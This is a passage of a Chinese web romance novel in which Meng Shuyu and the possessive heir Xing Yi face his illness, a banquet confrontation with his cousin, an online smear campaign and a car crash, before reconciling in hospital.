“你不是吊完三瓶点滴了吗,怎么还这么” 邢屹置若罔闻,亲吻她耳垂下方的肌肤,急促呼吸缠在她耳边,情。欲和病态交糅,喘得她心慌意乱。 一只手推不开他,她只好使尽全力,把另一手从皮革手铐里挣出来。 边缘剐蹭,腕上晕了一圈红痕。原来他从一开始就给她留了挣脱余地。 当然也可能是她太瘦的缘故。 不管什么原因,她顾不上思考,立刻伸手按响护士铃。 焦急乱动的手又被他攥回去,邢屹阴沉沉的目光落在她无名指上。 这里空无一物。 他沉着嗓:“戒指呢。” 早上气急时被她扔了啊他忘了吗? 完了,他烧糊涂了。 可是现在还谈什么戒指,都病成这样了。 她急得声颤:“戒指、戒指我回去再找它,你先起来好不好?我叫医生过来了,你现在病得很重。” 他又盯过来:“我问你,戒指呢。” 阴冷和病态在他身上同时弥散,没有一丝沉郁脆弱,反而愈加强势,一双漆黑眼眸盯得她心紧。 他手也凉得要命,牢牢攥着她,压制她脉搏里惊慌涌动的血液。 直到医生护士赶来病房,白大褂蜂拥而至,或许晃了他的眼,他烦躁地皱了皱眉,这才松了手,让她离开。 孟纾语如梦初醒,回过神来,自己已经在走廊外站着。 后背贴着墙,冰冷感顺着衣料穿透骨骼。 心乱如麻,又格外恐慌,一时分不清惊惧来源,不知是因为他侵略性泛滥的眼神和那枚用来锁她的手铐,还是因为他突如其来的病症 凌晨,检查结果出来。 败血症。 由病毒感染造成的全身性急症,死亡率极高。 幸好发现得早,抗菌及时,病情得到初步控制。 检查出致病源是非传染性病体,无需隔离。 孟纾语得到护士允许之后进入病房。 推开门,她下意识止步,攥着门把手调整呼吸,目光落过去。 最先看到心电监护仪。 体征平稳。 她刚要走进去,身侧突然闪过一阵风。 林泽满头大汗地跑进来,堪堪停稳,撑着膝盖喘气,看向躺在病床上的男人。 “祖宗,您真是我祖宗!幸好没什么大碍,要是有,我怎么向老爷子交代啊?” 邢屹一手搭额,烦倦地闭上眼。 “少烦我,还没死就急着哭丧。” 孟纾语心说你太没礼貌了!人家好歹是来关心你的。 “啊,孟小姐。”林泽刚发现她,立刻直起身,“不好意思,失态失态。哦对,水果什么的都放这儿了,你们聊,我先出去。” 林泽闪出病房,小声关上门。 孟纾语定在原地,两手在身前局促地扣了扣,再一抬眼,一道半冷不热的视线扫过来。 他眯起眼:“罚站?” 当然不是。 她默默走过去,正好他的手机贴着床头柜响动。 她看一眼屏幕。 “你有电话。” 邢屹无动于衷,搭在额上的手垫到脑后,一言不发,就这么云淡风轻睨着她。 就知道他坏心眼一堆,一天到晚颐指气使。 彼此心照不宣。她抿抿唇瞪他一眼,自觉帮他接通,拿起手机贴到他耳边。 听筒溢出声来,明显为难:“邢先生,孟小姐那枚戒指好像真的找不到了。” 他静滞两秒,言简意赅:“继续找。” “好、好的。” 对话结束,孟纾语不自在地挂断电话,手机放回原处。 邢屹闭上眼,鼻腔沉出一丝燥气。 她心头摇颤,以为他身体难受。 正要按响护士铃,邢屹攥住她的手。 “给我倒杯水。” “” 依言给他倒了半杯水,坐到床边戳戳他肩膀。 “倒好了,自己坐起来喝。” 邢屹瞥来一眼。 “喂我喝。” “你真是得寸进尺” 她按下床沿按钮,升起床头。 邢屹毫不费力地半靠着,被子滑落到胯骨处。她小心端起水杯,贴到他唇上缓缓倾斜。 他一动不动看着她,而她心不在焉,目光直愣愣落在他滚动的喉结上。 她下意识跟着吞咽一记。 不合时宜地想起三年前第一次接吻,他细密的汗水就从这里滴落到她锁骨,湿热流淌。 半杯水喝完,孟纾语后知后觉,收回端着杯子的手,指腹摩挲杯沿,垂眸说:“你知道《赎罪》里的男主是怎么死的吗?就是因为败血症死的。” 邢屹捞过她的腰让她坐近,从背后抱着她,下颌蹭到她耳边,幽沉视线粘在她脸上。 “咒我死是吧。” “哪有,我在提醒你注意身体。” 隔着一层薄被,她不自然地拧动腰身,却被越圈越紧。 他气息缠上来索吻,她立刻转头捂住他嘴唇:“病还没好,你又想干嘛。” “想做。” “知道你想,但你不要想。” 邢屹一贯的我行我素,拿开她的手在她耳边啄吻一记,又瞥了眼床头柜上洗净的水果。 手按在她腰上捏了捏。 “喂我吃。” 生病之后更能烦人了。 孟纾语拿了一盒葡萄坐回床边,小叉子戳一颗大的,囫囵放到他嘴里。 心如止水说:“还有什么要求,你一次性提完吧。” 邢屹漫不经心嚼着水果,懒恹恹注视她。 “跟我结婚。” 她身形一滞。 很快醒过神来。 “哪有人在这种时候求婚啊”她埋头看着盒子里的葡萄,心神不定,小叉子戳戳戳,“难道我不答应你,你就要以死相逼吗?” 他撇过头嗤笑一声:“想象力别太丰富。” 这男人真是欠揍。她一连戳了三颗葡萄,往他嘴里塞塞塞。 “吃吧你。” 他懒散随意,索性闭上眼睛嚼,嚼完又等她喂。 手都举酸了,终于消灭半盒葡萄。 孟纾语放下果盒,准备进浴室洗澡换身衣服。 他突然勾住她不小心露出的内衣带绕在指间,她红着脸嫌他变态,管她骂什么,邢屹照单全收,又抚上她后颈,宽热手掌覆盖她细腻的肌肤。 他低声对她说,他临近昏迷的时候好像做了个梦,梦见她伏靠在他身上,将长发撩到脖子一侧,低下头,露着后颈这一片肌肤,软茸茸的脑袋在他视野里伏动着。 孟纾语联想出不可言喻的画面,脸颊一热。 “别说了,你满脑子都是这些东西” 她分了心,一时没设防,邢屹顺势把她抱到身前, 倦哑气息迎上她燥红的耳:“梦里,你说你彻底爱上我了。” 她怔愣一瞬,反驳他:“梦和现实是反的,也只有在梦里我才会这么说。” “时间还长,话别说太早。”他微阖眼睫,近距离看着她,轻慢倨傲的语气,“总有一天你会放弃之前的想法,主动用我的方式爱我。赌吗?” 听起来,好像她一定会赌输一样。 她不情不愿接下这个奇怪的赌约。 问他:“时间期限呢?” “一个月。” “你确定吗?”这个条件,好像对她更有利。 “你高兴就好。”邢屹一副无所谓的态度,“假如你赌赢了,我就放你走。只要你别口是心非。” 孟纾语心有余悸,望向他双眼,眼底尽是她猜不透的漆黑沉暗- 一个月接近尾声时,邢屹还在住院。 这段时间,其实并没有发生什么能让她改变心意的事。 她照常实习,写论文,有空就到病房陪他,偶尔跟他斗几句嘴,气急时被他吻住,她茫然又羞恼,回过神拿起枕头打他两下,没打中,他笑得肩膀轻颤,说她家暴他。 讨厌鬼,一直病着算了。 调侃完没过几天,邢屹终于康复,顺利出院。 次日,正好赶上邢老爷子八十大寿。 晚宴在西郊一处私宅里举行。 偌大的别墅中庭灯火煌煌,孟纾语穿一件由邢屹挑选的酒红色晚礼服,不太适应地踩着细高跟,被他牵着往前走。 迎面跟他打招呼的人,她一个都不认识,只觉得有几个挺眼熟的,好像在央台新闻上见过。 邢屹应付完人际繁琐,亲昵地揽着她肩膀,带她踏上旋梯。 她轻扯他西服袖口,小小声透露:“我有点紧张” 这话怪新鲜,他笑了声:“紧张什么,不就一帮秃头,又不会吃了你。” “可是,他们看我的眼神有点奇怪。” 每每对视,那些中年人落过来的目光不是好奇就是探究。 她觉得自己快被这些眼神盯穿了。 好像在他们眼里,邢屹身边出现一个女孩子,是一件让人闻所未闻的怪事。 “别管,他们不是老花眼就是近视。”邢屹毫不客气地找茬。 孟纾语沉默,吸一记鼻子,手指紧了紧,好像把他的衣袖当成什么解压物,一直攥着。 他低眸扫她一眼,有点好笑地说:“公开场合,少勾。引我。” “” 在时不时就迎面出现的恭维声里,她全程被他恰如其分地搂着,若无其事上到二楼。 这一层视野开阔,数不清一共有多少张圆桌,她只知道自己快被千篇一律的人头晃了眼。 被他牵到桌前,她小心翼翼落座,邢屹把脱下来的外套披在她身上,正好遮住她半裸的后背。 长辈在另一片区域推杯换盏,中间隔了道屏风,邢家的年轻后辈都聚在这一片。 菜还没上,人也没到齐,宴会厅的气氛和谐活络。 邢屹靠在不远处的落地窗边跟友人闲聊,对方为他点了根烟,他夹在手里一直没抽,也就给个面子。 大部分时间里,他懒得说,一直在听。 对方说到有意思的地方,他就随意应一句,眼角眉梢挂着不走心的笑,仔细看才发现,他脸庞棱角愈加清晰锋利,比两年前成熟很多,可是一晃眼,依旧可见他十九岁时意气风发的少年感。 在正式场合,他身上那种鹤立鸡群的优越感更加明显,哪怕什么也不做,也能让人挪不开视线。客观来说,他随便往那儿一站就能拍一组画报。 孟纾语支着下巴看向那一处。惊觉,自己好像变成颜控了。 她不自然地收回视线。 身边有个小麦色肌肤的女孩子,正举着小镜子补妆,对方涂完口红看她一眼,语气和善:“你是我表哥的女朋友吧。” “嗯?” 应该是前女友才对。 对方当她默认,饶有兴味说:“可算见到本尊了。我在加州留学的时候,想找他玩保龄球,顺便给他介绍几个女生认识认识,可他每次都拒了,说要陪女朋友。” 她微怔。 “你是说,邢屹那两年有女朋友?” “不知道诶,反正他每次都拿女朋友当借口,说女朋友管得好严,不让他抽烟喝酒,还不让他出门跟异性接触,占有欲非常强。啧啧,好可怕诶。” “”他谈过这一类的? “啊,想起来了,他女朋友好像叫孟纾语?是你吧?” “” 原来在邢屹眼里,他俩根本就没分过。 但怎么可以抹黑她! 她哪有那么可怕,他是把自己的做法套到她身上,拿她的名号挡桃花了吧。 讨厌鬼。 正气闷,邢屹已经坐回她身边,在她面前打个响指。 醒过神,对面恰好有人跟他同时落座。 是他表哥邢皓南。 这家伙一来就犯贱:“哟,我们小邢总,病好了?大难不死啊。” 邢屹靠着椅背,手臂搭在靠背顶端,横过来捏捏她后颈,解闷似的。 无所谓的语气回击对方:“借你吉言。” 邢皓南翻个白眼:“老天爷待你可真是不薄,像你这样的烂人,本来应该早点没命,死无全尸!” 音落,宴会厅倏地静下来。 人的八卦欲果然相通。 男女老少纷纷看过来,本来都各自聊着天呢,这会儿都不吱声了,只顾竖起耳朵凑热闹。 在座各位谁不知道老爷子偏心邢屹,今晚又是老爷子寿宴,竟然在这种时候起争执,简直不把老爷子放在眼里。 然而邢钟宏没什么反应,只是冷着脸作壁上观。 其实他没生气。 这老顽童,挺想借此机会,看看自己精心培养出来的继承人会怎么解决这一茬。 邢皓南父亲却以为老爷子生气。 没辙,他只好胳膊肘往外拐,站在远处训人:“邢皓南,不吃饭你就滚出去!” “凭什么让我滚?”邢皓南登时发作,“你们所有人被邢屹骗了!他就是个烂人,心理变态!凭什么把集团交给一个心理变态,凭什么所有好的都留给他?!他不配!他算什么人人仰慕的精英啊?你们一个个都瞎了眼,他心里阴暗得很,最喜欢杀人放火。爷爷,您最好小心一点,要是您哪天不顺他的意,他能把您杀了!” 众人面露诧异,邢皓南父亲恨不得堵他的嘴:“你胡说八道些什么!马上给我滚!” 邢皓南气红了眼。心想明明自己才是名义上的长子,却处处被邢屹压一头,集团那么大块蛋糕,全分给他了,自己什么好处都没捞到,好不容易在港区混出点名堂,生意上的靠山全被他搞垮了。 又是一阵骂骂咧咧,邢屹无动于衷,眼里竟还多了一丝观看对方跳脚表演的兴致。 孟纾语虽然置身事外,却下意识屏息凝神。 后颈被他捏得泛痒,她在桌下轻轻揪他衬衫衣角。 “邢屹,要不我们换一桌坐” 邢皓南就在这时指向孟纾语:“还有你!你也被他骗了!” 她一愣。怎么还有她的事? 邢皓南冷笑:“看不出来啊,你长这么纯,居然喜欢这种烂人,陪他玩又陪他睡,鬼迷心窍了是吧?” 孟纾语忍了忍,脱口而出:“你想杀我,你才是烂人。” 对方暴起:“你血口喷人!” 她始终平静:“是你敢做不敢当。那天在游轮上,你花钱雇人针对我,想把我扔进海里,不是吗?” “不过你为什么会觉得,邢屹没了我就会一蹶不振?你觉得用这种招数就能彻底对付他吗,你真是太不了解他了。” “其实他什么都不在乎的。” 事发之时她认真想过,如果她真的死了,或许他只会心空一段时间,然后迅速调整好状态,继续稳居上位。 悲伤,惋惜,懊悔,这些词语跟他不沾边。 他永远不会低头。 孟纾语说完,垂眸看着桌沿,恍然有些失落。 邢皓南似乎有点转不过弯来,静了半晌,自以为领悟了,嘲笑说:“看来你在他心里也不过如此嘛,一个玩物罢了,迟早被他玩烂。” 她闻声蹙眉。下一秒,搭在她后颈的手忽然收了回去。 邢屹看着对方,嘲弄般轻笑:“孟纾语给我陪玩陪睡?这话说得太好听了,勾得我心痒啊。我倒是想睡她,可是她这个人吧,太乖了,一点情趣都没有,在一起这么久都不肯脱了衣服让我睡,没意思。没意思的东西,我可不感兴趣。话说回来,还是美国女人操起来带劲。” 当着这么多人的面,他维护她的名声,不惜往自己身上泼脏水。又或者,他早就不想装什么完美人设。过往的优等生也好,现在的出类拔萃也罢,这些莫须有的名头,他早就腻了。 孟纾语攥着衣角,心跳不由自主地快起来。 “像她这样的姑娘,留在身边图个心净而已,没了也就没了。就算她死在我面前,我眼睛都不会眨一下。”邢屹气定神闲,看向面露迟疑的邢皓南,慢条斯理的语气,“所以你针对她,对我来说毫无影响。” “不过你说的没错,我的确是个烂人。在我眼里,利益第一,人性第二。在座各位,如果有谁对我心怀怨念,直接冲我来,没必要私下搞什么小动作针对我身边的人。毕竟我有人格障碍,下手没个轻重,万一不小心被我掏心挖肺,那就请多多担待了。” 宴会厅死一般寂静。 孟纾语埋头整理思绪,下一秒,邢屹不顾那些百味交杂的视线,兀自牵起她的手把她带离座位。 离开私宅,走到室外泊车区,她木然抬头,邢屹把车钥匙丢给她。 她定在原地,看一眼身旁这辆双座的阿斯顿马丁。 “我来开吗?” 邢屹拉开副驾车门,恹恹抬眼,视线越过车顶扫她一记:“不是会开?” 会是会。她抿了抿唇,开门坐进驾驶位。 邢屹神情倦懒,靠在副驾闭眼假寐。 十分钟后。 孟纾语紧握着方向盘,慢速行驶。 车子已经驶上主道,邢屹睁开眼,一块高耸的路牌正好从车顶悠悠滑过。 他低笑一声:“还以为你没踩油门。” “” 干嘛笑话她。 “慢一点才安全。” 路况冷清,孟纾语小心开车,时不时瞥他一下。 邢屹明明闭上了眼,太阳穴却跟长了红外探头似的,冷不丁出声:“少看我,看路。” 她立刻收回视线。 悠悠说:“你刚才应该拿奥斯卡的。” 邢屹勾起唇角,语气不屑:“万一是真的呢。之前不是骂我人渣吗,不必把人渣想得太好。” 孟纾语默了默,瞟一眼他腕表上的时间。 现在七点半。 再过几个小时,她就要回宁城了。 她目视前方,纠结片刻说:“我买的是凌晨的机票,一会儿回家里拿行李,我就直接去机场了。” 邢屹不问她什么时候回来,也没拦她,嗓音轻懒:“嗯,抓紧时间吧。” 她疑心有诈。 “你允许我走了?” 邢屹把座椅调低,一手搭额。 “又不是不回来。” 她顿了顿,模拟他的话术:“万一呢。” 他不着痕迹地笑:“你觉得我会放过你吗。” “可是你跟我立下赌约了,如果一个月内我还是不爱你,你就放我走。” 他撇过头调整躺姿,闭着眼一副寡淡无味的语气:“一个月还没到,着什么急。” 孟纾语沉下心,没再说话。 回家拿上行李箱,车子停在门前,邢屹坐在驾驶位划手机,不知在看什么内容,神情愈发冷淡。 孟纾语走上前,弯腰,探个脑袋进车窗里:“你送我去机场吗?” “不然谁送。”他熄灭屏幕,手机扔到中控台,“林泽放假了。” 她目光一亮:“哇,你在元旦来之前就给他放假了!” 说得好像他之前热衷于压榨人家,很罪恶一样。 邢屹黑着脸催她:“上车。” 他送她到航站楼,话都没说两句就开车走了。 孟纾语拉着箱子前往值机台,边走边拿起手机,想给老孟发个消息。 微博资讯却先一步弹出来。 #信昀集团,反社会人格 奇怪,这两个词是怎么联系到一起的? 她点进去,词条竟然高居热搜榜首。 原来宴会上有人录音,把邢屹说的话恶意剪辑,之后加以曝光,雇了一波营销号添油加醋,给他加盖罪状。 娱乐大V和财经大V竟然同时下场带节奏,词条主页闹得像菜市场一样,实时评论以秒增的速度弹出来。 [小时候纵火诶,很难不脑补一些阴暗的反社会人格] [心理变态也就算了,还把女人当成玩物,真下头] [金玉其外败絮其中] [追过他的女生有福了,赛博案底这不就有了吗?] [查一查吧,说不定他真杀过人] [他是喝醉了吗?突然在晚宴上自爆,现在一定很后悔吧,真面目暴露了] [牛逼,邢家真是人才辈出,这妥妥一个法制咖啊] [我就知道他肯定不是好人,那双眼睛就杀气十足] 人们最喜欢看的戏码,就是光鲜亮丽的人遭万般唾骂,一夜之间从金字塔顶端坠入泥潭。 孟纾语意识恍惚,屏幕荧荧光亮像针一样刺进她眼底。 ——“您好,请出示一下身份证哦。” 她呆了很久,值机台工作人员出声提醒她。 她原地定了定神。 突然丢下行李箱,一股脑地朝出口跑去 邢屹已经看到热搜。 但他无所谓。 送孟纾语到达机场之后,他驾车返程,顺道回信昀总部签署文件。 孟纾语发消息问他在哪,他简单回:[在公司] 之后便放下手机,没再看。 她现在应该已经登机了。 离开京北,就不用蹚这滩浑水。挺好。 半小时后,一切忙完。 电梯直达地下车库,金属门打开,他揉了揉酸胀的眉心,勾着西服外套往前走去。 也就转个角的功夫,噪音如洪水般袭来。 前路被记者堵得水泄不通,媒体们一哄而上,谁家都想抢个头条。 “邢先生,请问可以解释一下录音的事情吗?” “您是否患有人格障碍?您是反社会人格吗?” “邢先生,请您回答一下!” 孟纾语到达地下车库,远处闹哄哄的,她被闪光灯晃了眼,却依旧迎着光亮跑上前。 “邢屹!” 邢屹应声回头,一道纤瘦身影混在人墙里,拼命往前挤,却频频被撞开。 周围一片混乱,孟纾语挤得头昏脑涨,无济于事,只能从人群缝隙里看他,只见他眼底闪过一丝错愕,拨开人潮向她走开。 这群记者简直疯了,没个轻重,她肩膀被相机设备撞疼,疼得想哭出来,下意识呼唤他,声音却被嘈杂盖过。 无力感兜头而下,不知是谁又重重撞她一记,她身形踉跄,双手无所凭依。 以为自己要摔下去,手腕突然被攥住。 一件 外套盖在她头上,眼前一片漆黑,“没事,跟着我。”邢屹搂着她肩膀,快步带她远离喧嚣。 那帮记者紧随身后,狗皮膏药一样,甩都甩不掉,孟纾语毫无方向感,大脑一片空白,直到被他塞进车里。 车门砰一声关上,引擎声撞破空气,强烈的推背感让她心头一紧,车子又拐了个弯,疾速冲出屏障。 一阵耳鸣过后,声响淡去。 她颤着手腕,掀开头顶的外套。 邢屹坐在身旁定神开车,窗外霓虹纷然掠过,一片和谐。 仿佛刚才什么事也没发生。 她喉咙莫名有点疼,硬生生吞咽。 在最混乱的时候,他下意识护着她。 而他自己呢。 人心都是肉做的,面对那些攻击,他真的没关系吗。 正要开口说话,他先一步冷声质问:“为什么没走。” “我”她别过脸说,“我怕你出事。” “能出什么事,与其担心我,不如——” 突然急刹。 时间跟断了节一样,她脑子轰的一声,正要看清发生了什么,另一侧突然撞来一辆货车。 对方及时刹停,却抵不住惯性,两车猛然相撞,玻璃砰然碎裂,却分不清是哪边的玻璃碎了。 孟纾语浑身紧绷,而后是漫长的麻木。 静下来了。 耳边一声难捱的闷喘。邢屹靠着椅背,一手搭在额上,莫名的烦躁,开口就飙脏。 “操,哪儿来的狗。” 刚才有一只狗蹿过马路。 他怕撞到它,猛地急刹,并行的货车同时刹车,却不知为什么猛然倒向一侧。 孟纾语如梦初醒,急得太阳穴猛跳,半个身子跨到驾驶座,双手战战兢兢碰他肩膀,不敢晃,只敢出声:“你怎样了?啊?” 邢屹闭着眼喘息,喉结滚了两下,没有应声。 后知后觉,她掌心一片粘稠。 不知道从他哪个部位流下的血,沾了她满手。 “邢屹!”她眼泪涌出,平日里的镇定烟消云散。 “吵什么”他沉喘着问,“手机呢?” 她慌忙掏出手机,打120。 等待接通的时间里,邢屹微阖着眼,静静看她。 她忍着不哭,却频频哽咽。 “没事的,一会儿就好了,你不要睡,你就这样看着我,好不好?就这样看着我,我不走了,我陪着你,谁恶意造你的谣,我告他们,我让他们坐牢” 邢屹头痛欲裂,其实听不清她说什么。 只能注视她哭红的眼。 她好像,学会用他的方式爱他了。 直白,纯粹。温柔又热烈,仿佛随时会不顾一切,不辨好坏,不分青红皂白。 可为什么,他体会不到一点赌赢的喜悦。 只有心疼。好心疼。 因为她在哭,她在担心他。 真奇怪,他不会为任何事情感到痛心,却总是因为她一滴眼泪而乱了心神。 他不会向全世界低头,而早晨醒来,却总是忍不住将呼吸深埋在她胸口。 “孟纾语。”他气息微弱,混不吝地说,“亲我一下。” 她瞪大了眼。 “都什么时候了!” “别管。” 她心头被攫了一下。 漫长的疼痛,这份疼痛又化作一股力量,推着她,促使她心无旁骛,倾身吻他。 他吻过她无数次。三年过去,他似乎一直在等待,等待这一记温柔回吻。 从最初分手时的试探,再到后来,他百般恶劣,千般疯狂,或许只因为他很想确认一件事。 确认她是否真的爱着他。 他实在可恶,身上有太多不可修复的裂痕,性子恶劣得与她截然相反,根本改不掉,治不好。 他体内为数不多的克制,或许是因为小时候隔着屏幕看见了她,知道她不喜欢坏人,于是他尝试学会做一个正常的好人。 虽然大部分是伪装。 他本性一贯如此,更不在乎自己在他人眼中是好是坏。 只在意她会不会向他敞开心扉,然后在某一个晴朗天,愉悦而明媚地奔向他。 孟纾语轻颤着感受他唇上的温度,眼眶兜不住的泪水无声滴落,滑过彼此紧贴的唇。 咸涩滋味并不美好,却也被他轻吻。 当他牵住她的手,强行与她十指紧扣时,心里有声音说,邢屹,或许有一天,我会战胜我的恐惧。 然后,用明亮爱着潮湿的你。 第57章 你别让他爽到 蹿过马路的狗愣在路灯下,回头望着事故现场。 踌躇片刻,突然跑了回去。 大小不一的车身碎片飞溅在路面上,一片狼藉。 小狗停下来抽抽鼻子,闻到呛烈的汽油味。 不远处的围观者越来越多,话语声嘈杂,手机摄像头清一色竖起。 它不敢靠得太近,只敢站在远处观望。 周围多了几辆闪着光亮的车,现场拉起警戒线,几名白大褂匆忙将伤者抬上担架。 等等,有熟悉的气味。 三年前,它被人恶意扔到空调外机上,就是那个男生路过把它救了下来,带它去兽医院。 没错,就是他。当时他身边还有个女孩子,给它起名潇洒哥。 它继续观望,只见货车上跌跌撞撞下来一个中年男人,男人六神无主又手舞足蹈,红着眼眶一个劲地跟女孩子道歉。 “对不起对不起!我拉了两天的货,就睡了三个小时,刚才困得不行了,本来要停车的,谁知道手一滑就是我的错,全是我的错您、您男朋友伤得重不重啊?我要赔多少钱啊?” 女孩子抽噎一下,擦擦眼泪安慰对方:“您冷静一下,我们先——” “孟小姐!” 一个男人下车跑去。 她快速回过头,紧张愣神:“林助?你不是放假了吗?” 对方擦了擦满额的汗水,干笑一声:“没事,处理突发情况,我赶来加个班。” 啊,人要加班,好辛苦。 还是做狗好哇。 小白狗默默离开,翘着尾巴遁入草丛- 医院。 孟纾语坐在手术室门口,低头,注视掌心残留的血迹。 “孟孟!” 毛婧婧刚回国,一下飞机就看到热搜,连忙给孟纾语打电话。 于是扛着个行李箱匆匆赶来。 “怎么样了?!人还活着吧?” 孟纾语慢半拍转头,毛婧婧已经坐在她身边。 她轻轻摇头。 “现在还不知道” 手术进行中,扎进他头部的碎玻璃要一点点取出来。 颅骨受伤伴随诸多风险,碎玻璃只是看得见的一部分,至于是否有深层损伤,要等检查结果出来才知道。 毛婧婧瞪大眼睛上下打量她:“那你呢?你没事吗?” “我没事,没有受伤。” 记得事发瞬间,一股强力推着她撞向挡风玻璃,却有另一股力量硬生生把她往回拉。 是他横在她肩膀前的手臂。 如果不是那一下护着她,她早就被撞昏了。 很侥幸,没有遭受严重创伤,只是头有点晕,脖子也疼。 医生建议她做个详细检查,说不定是轻微脑震荡或脊椎损伤。 这事没跟毛婧婧说,对方只当她平安无事,松了口气:“吓死了,还以为你受了什么重伤。可能是我刻板印象吧,之前看了好多狗血电视剧,一旦出现车祸剧情,要么女主受伤,要么女主当场死亡,反正女主都是被殉的那一方,然后咱们骄傲的男主就开始悲恸懊悔,用尽余生改过自新。” “这样吗。我想,如果是我受伤,以他睚眦必报的个性,不一定会悲恸懊悔,但一定会先用非人手段把肇事者处理掉。” “那、那很疯狂了。”毛婧婧看向她的脸,“孟孟,你眼睛好红,哭过啊?” 她失神点头。 “嗯。” 毛婧婧轻叹一声。 “邢屹受伤,你是不是很难过?” 孟纾语吸一记鼻子,埋头看着自己膝盖说:“毛毛,你干嘛带着答案问问题。” “唉,看来是很难过了。不过,你难过到底是因为真的爱上他了,还是因为心软?” 她沉默许久,说:“心软和爱,是两种不一样的东西。” 心软是心疼一个人当下所受的伤。而爱,是心疼他过往所有的伤。 哪怕伤口已经结痂,也依旧看得见它流血时的模样。 “啊我好像明白了。”毛婧婧望着天花板感慨,“你果然跟 小时候一样,无论多复杂的事情,自己理着理着就顺了。不像我,总是很拧巴。” 孟纾语顺水推舟问:“人的性格一旦定型,是不是再怎么努力都改不了了?” “改不了吧,香蕉又不可能变成苹果。除非刻意伪装。” 她也是一样的想法。 “邢屹这个人应该也是改不了的。” “肯定改不了,只能加以控制。”毛婧婧问,“如果他又犯病,你拿他怎么办?” 她认真想。 事到如今,她已经完全接受他改不了本性的事实。 心一横,回答说:“我会用他对待我的方式对待他。” 监视,定位,拿金属手铐把他锁在床头,不允许他出门,不允许他跟任何异性接触,在他身上刻下属于她的印记,最好是刺青,永远消不掉。 气死他。 毛婧婧面露惊惶。 “我靠你别让他爽到了。” “?”她好诧异,“为什么会爽到,这些做法都很变态啊。” “可是他想要的,不就是你给他这种强烈到变态的爱。” “”真可怕- 邢屹被推进单人病房的时候,已经是后半夜。 头部的伤口缝了针,覆着一层洁白纱布。 为了避免术后感染,他鬓角区域的头发被剃得更短。 好在有他这张脸撑着,没什么违和感,反而更干净利落。 麻药劲好像没过,邢屹还在睡。 孟纾语悄声拉过一张看护椅,坐在床边。 压着软蓬蓬的被子,低身趴在他身旁,小半张脸埋进交叉的手臂,露着一双杏眸静静看他。 忍不住,手指轻碰他鼻梁,沿着挺拔弧度慢慢往上,抚摸他凸起的眉弓。 邢屹安静的时候,给人的感觉就没那么强势危险。 但事实上,他哪里都没变。 甚至已经疯到一定程度。 什么都不在乎,不顾他人看法,甚至不惜把最坏的形象暴露在大众眼底。 一方面是为了营造出自己毫无弱点的假象,进而保护她。 另一方面,其实源于他压抑已久的自毁倾向。 在他能力尚弱的少年时期,他选择装成一个规规矩矩的好人,以此获得鲜花与掌声,获得长辈的垂青与庇护。 直到他掌控一切之后,开始对此产生厌烦。 何必呢,与其好得模棱两可,不如坏得坦荡直白。 无所谓,我就是这么恶劣,甚至可以更恶劣。不必对我抱有期待,不必再处心积虑揣摩我。 “邢屹”她眼神失焦地看着他,梦呓般轻声说,“自毁是不好的行为,以后不要再这样。” 手指在他脸颊轻轻滑动。 突然被他攥住。 心脏狂跳,足足十秒才平静下来。 她直起上半身,目光没个落点,几乎在他身上扫遍了,意识乱作一团,半晌才攥着被子支支吾吾问:“你、你还疼吗?” 邢屹轻描淡写睨着她,嗓音沉哑:“亲我一下就不疼。” “混球。” 她俯身亲他脸颊。 退回床边,欲言又止地看着他。 表情里的委屈担忧被他捕捉,邢屹无声笑了下,伸手过来,指腹摩挲她红晕犹存的眼尾。 “又哭。我还没死,死了你再哭。” 她郁闷:“你再说死这个字,我就堵你的嘴。” 这话怪有意思。 邢屹轻挑眉梢,戏谑地问:“怎么堵?” 她突然吻他。 嘴唇贴了三秒,再猝不及防退开。 她别过脸,一手捏了捏发烫的耳垂,不自然地说:“就这样堵。” 邢屹罕见地顿住,眼底泛起一丝错愕茫然。 下一秒直接起身,手掌摁住她后脑勺重重吻过来,舌尖急切地往里探,她顿时懵了,两手紧攥着床沿,眼睫频频颤动,目光所及,邢屹根本没闭眼,而是一边吻一边半睁着眼看她,落过来的眼神暗含热。欲,在纠缠中流淌。 终于吻到她神情呆滞,他得逞般退开一点距离,指腹贴着她唇角轻轻揩拭。 孟纾语试图平息微乱的呼吸,可一旦被他幽邃目光看一眼,她就前功尽弃。 只能在起伏的呼吸声里注视他。 一个眼神他就明白。 “有话对我说?” 她犹豫许久,大胆说:“你要是不乖,我就收回对你的爱。” 音落,邢屹抚摸她头发的动作停了下来。 他安静两秒,突然震着胸腔笑了。 她一时无所适从。 “你笑什么!” 他偏额打量她,轻啧一声:“笑你啊。孟纾语越来越厉害了,讨人喜欢。” 说着又吻过来。 这次多了一点温柔,吻得不遗余力,却又格外怜惜- 不知道什么时候睡着的。 次日早晨,她揉揉眼睛,从他臂弯中醒来。 病床不够宽,他借机抱得更紧,手臂勒得她喘不过气。 她深呼吸,胳膊肘往后戳戳。 “我要下床喝水,你快松开。” 他咬住她耳垂,气息浑热:“不允许。” 她缩着肩膀抵御侵略,惊慌的语气:“你是不是又犯病了?” “是又怎样。”邢屹理直气壮,声音闷在她长发之间,又蹭了蹭,撩得她耳热,“你打算怎么治我?” 她咬咬牙,悉悉索索在他怀里翻了个身,两手压在他人鱼线的位置,手指要挪不挪地按着,同时仰起头亲他喉结。 一连亲了好几下,他好像破功了。 伴随一声闷喘,他气得在她腰上狠狠掐了一记,问她是不是欠收拾。 她以身犯险,在雷区上蹦跶。 “医生说你不能剧烈运动,忍着吧。” 说完快速溜下床。 床头柜放着他的手机,此时正好响动。 林泽打电话过来,说戒指找到了,一会儿让人把东西送到病房。 戒指失而复得,但她想了想,没有重新戴上。 傍晚,她回了一趟别墅,在自己的首饰盒里找道一根银色细链。 链子穿过戒指,变成一条吊坠项链。 晚上回到病房,她岔开腿跨坐在他身上,把耐人寻味的项链戴到他脖子上。 邢屹垂眸掠了一眼,似乎不太满意。 他轻蔑地问:“把我当狗?” 孟纾语眨眨眼,一脸莫名:“比狼还凶,还好意思说自己是狗。” 说完就要从他身上下去。 突然被他按住后颈,她躲闪不及,一个吻急切而下,压着她无措的气息疯狂碾转。 邢屹一个翻身压住她,她慌了神,推着他肩膀警告:“你伤还没好,不能剧烈运动!” 他不管不顾,贴着她的唇继续舔/弄。 一番热吻过后,她双手掐在他充血的手臂上,感受他凸起蔓延的青筋,手指情难自控地用力,温度深深嵌入。 忽然有种地动山摇的错觉,她的手机贴着床头柜疯狂抖颤,是老孟发来一连串消息。 [邢屹到底怎么回事?!] [网上传的那些是真的还是假的?] [老爸绝不允许你跟那样的人在一起!] [买票!明天马上给我回家!!] 邢屹看一眼屏幕,直接倒扣回桌面。 